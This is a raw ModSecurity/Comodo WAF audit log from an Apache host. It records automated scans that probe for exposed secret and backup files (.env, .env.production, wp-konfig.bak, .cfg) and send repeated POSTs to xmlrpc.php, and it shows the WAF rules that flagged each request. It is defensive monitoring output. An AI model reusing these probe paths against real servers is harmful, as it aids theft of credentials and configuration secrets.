(CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9HiX2GhYywD7zZgx7_nQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026121665153 1073053 (- - -) Stopwatch2: 1750026121665153 1073053; combined=2338, p1=373, p2=1504, p3=52, p4=73, p5=207, sr=98, sw=129, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --40abd518-Z-- --83474c52-A-- [16/Jun/2025:03:52:05.762182 +0530] aE9HjR-kH31pk4mNbsVEZwAAAAo 185.177.72.210 45984 127.0.0.1 7081 --83474c52-B-- GET /ServerList.cfg HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --83474c52-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e238d99d1fa2ee4e75e0aaf5ab5075731750026125; expires=Sun, 15 Jun 2025 23:22:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --83474c52-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/ServerList.cfg"] [unique_id "aE9HjR-kH31pk4mNbsVEZwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026125035866 726378 (- - -) Stopwatch2: 1750026125035866 726378; combined=2009, p1=329, p2=1578, p3=0, p4=0, p5=102, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --83474c52-Z-- --2078800b-A-- [16/Jun/2025:03:52:10.463979 +0530] aE9HkYrLgrklqy57Kk2hkQAAAAg 185.177.72.210 51714 127.0.0.1 7081 --2078800b-B-- GET /localsettings.php.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2078800b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f5175387fa09500d820ff4851f29fdbf1750026130; expires=Sun, 15 Jun 2025 23:22:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2078800b-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/localsettings.php.bak"] [unique_id "aE9HkYrLgrklqy57Kk2hkQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026129814557 649486 (- - -) Stopwatch2: 1750026129814557 649486; combined=1720, p1=319, p2=1298, p3=0, p4=0, p5=102, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2078800b-Z-- --84291934-A-- [16/Jun/2025:03:53:02.110300 +0530] aE9HxfNXjUHq-Wm7C_8TvQAAAAQ 128.199.112.101 57886 127.0.0.1 7081 --84291934-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 500 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --84291934-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --84291934-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9HxfNXjUHq-Wm7C_8TvQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026181123635 986731 (- - -) Stopwatch2: 1750026181123635 986731; combined=2396, p1=401, p2=1597, p3=42, p4=64, p5=185, sr=112, sw=107, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --84291934-Z-- --ad9d0b07-A-- [16/Jun/2025:03:53:07.762454 +0530] aE9HyxAGYpjnkyifC9YlxgAAAAU 185.177.72.210 58116 127.0.0.1 7081 --ad9d0b07-B-- GET /:10000/en/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ad9d0b07-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=af093c8640138f09d34760504e0981dc1750026187; expires=Sun, 15 Jun 2025 23:23:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ad9d0b07-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/en/.env"] [unique_id "aE9HyxAGYpjnkyifC9YlxgAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026187069271 693245 (- - -) Stopwatch2: 1750026187069271 693245; combined=1870, p1=365, p2=1412, p3=0, p4=0, p5=92, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ad9d0b07-Z-- --ec7f1b65-A-- [16/Jun/2025:03:54:02.940185 +0530] aE9IAYrLgrklqy57Kk2hwAAAAAg 128.199.112.101 58856 127.0.0.1 7081 --ec7f1b65-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 503 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --ec7f1b65-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --ec7f1b65-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9IAYrLgrklqy57Kk2hwAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026241687687 1252553 (- - -) Stopwatch2: 1750026241687687 1252553; combined=2646, p1=565, p2=1673, p3=44, p4=85, p5=178, sr=145, sw=101, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ec7f1b65-Z-- --6cb16945-A-- [16/Jun/2025:03:54:09.592336 +0530] aE9ICFxTdrwJSUMoZvGwEQAAAAc 185.177.72.210 59088 127.0.0.1 7081 --6cb16945-B-- GET /downloader/cache.cfg HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6cb16945-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ae8286f83bc80caa059464fd7e0e56db1750026249; expires=Sun, 15 Jun 2025 23:24:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6cb16945-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/downloader/cache.cfg"] [unique_id "aE9ICFxTdrwJSUMoZvGwEQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026248891324 701125 (- - -) Stopwatch2: 1750026248891324 701125; combined=2092, p1=345, p2=1617, p3=0, p4=0, p5=129, sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6cb16945-Z-- --95a84f55-A-- [16/Jun/2025:03:54:28.722906 +0530] aE9IHLIOonfcVDbK8_bqqgAAAAA 185.177.72.210 40582 127.0.0.1 7081 --95a84f55-B-- GET /:8008/.env.2 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --95a84f55-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=87a33d01ffdde69c1bd46d92ddc109d31750026268; expires=Sun, 15 Jun 2025 23:24:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --95a84f55-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/.env.2"] [unique_id "aE9IHLIOonfcVDbK8_bqqgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026268060366 662617 (- - -) Stopwatch2: 1750026268060366 662617; combined=1811, p1=369, p2=1335, p3=0, p4=0, p5=106, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --95a84f55-Z-- --15677a27-A-- [16/Jun/2025:03:54:31.730003 +0530] aE9IH1xTdrwJSUMoZvGwGwAAAAc 185.177.72.210 40950 127.0.0.1 7081 --15677a27-B-- GET /:8880/api/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --15677a27-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bd55d7682c85fa9a2337e6db42a95ca81750026271; expires=Sun, 15 Jun 2025 23:24:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --15677a27-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/api/.env.production"] [unique_id "aE9IH1xTdrwJSUMoZvGwGwAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026271069873 660234 (- - -) Stopwatch2: 1750026271069873 660234; combined=1775, p1=384, p2=1241, p3=0, p4=0, p5=149, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --15677a27-Z-- --1e975379-A-- [16/Jun/2025:03:54:45.205743 +0530] aE9ILPNXjUHq-Wm7C_8T6wAAAAQ 185.177.72.210 37752 127.0.0.1 7081 --1e975379-B-- GET /conf/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1e975379-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3fe2aa7a09b63e41e9a64fd51321b7fe1750026285; expires=Sun, 15 Jun 2025 23:24:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1e975379-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/conf/.env"] [unique_id "aE9ILPNXjUHq-Wm7C_8T6wAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026284548708 657098 (- - -) Stopwatch2: 1750026284548708 657098; combined=1828, p1=366, p2=1369, p3=0, p4=0, p5=92, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1e975379-Z-- --3e607f7e-A-- [16/Jun/2025:03:54:57.638951 +0530] aE9IOPNXjUHq-Wm7C_8T8QAAAAQ 185.177.72.210 50342 127.0.0.1 7081 --3e607f7e-B-- GET /:8181/symfony/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3e607f7e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8731f2a4db6d902317898f34ad021c161750026297; expires=Sun, 15 Jun 2025 23:24:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3e607f7e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/symfony/.env"] [unique_id "aE9IOPNXjUHq-Wm7C_8T8QAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026296959466 679547 (- - -) Stopwatch2: 1750026296959466 679547; combined=2166, p1=459, p2=1619, p3=0, p4=0, p5=87, sr=109, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3e607f7e-Z-- --9b469b22-A-- [16/Jun/2025:03:54:59.617501 +0530] aE9IOlxTdrwJSUMoZvGwJwAAAAc 185.177.72.210 50398 127.0.0.1 7081 --9b469b22-B-- GET /sauvegarde/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9b469b22-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1d2cb72512a1c9b0a5d2cefb7691b1631750026299; expires=Sun, 15 Jun 2025 23:24:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9b469b22-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/sauvegarde/.env"] [unique_id "aE9IOlxTdrwJSUMoZvGwJwAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026298965927 651638 (- - -) Stopwatch2: 1750026298965927 651638; combined=1767, p1=381, p2=1297, p3=0, p4=0, p5=88, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9b469b22-Z-- --b5c62832-A-- [16/Jun/2025:03:55:03.051437 +0530] aE9IPR-kH31pk4mNbsVEtQAAAAo 128.199.112.101 54456 127.0.0.1 7081 --b5c62832-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 489 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --b5c62832-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --b5c62832-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9IPR-kH31pk4mNbsVEtQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026301850819 1200685 (- - -) Stopwatch2: 1750026301850819 1200685; combined=2630, p1=393, p2=1829, p3=45, p4=64, p5=186, sr=101, sw=113, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b5c62832-Z-- --4dc44b79-A-- [16/Jun/2025:03:55:06.212527 +0530] aE9IQRAGYpjnkyifC9Yl-QAAAAU 185.177.72.210 54572 127.0.0.1 7081 --4dc44b79-B-- GET /wp-konfig.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4dc44b79-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=284b8a33fc8090753f551dc7761755cd1750026306; expires=Sun, 15 Jun 2025 23:25:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4dc44b79-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] 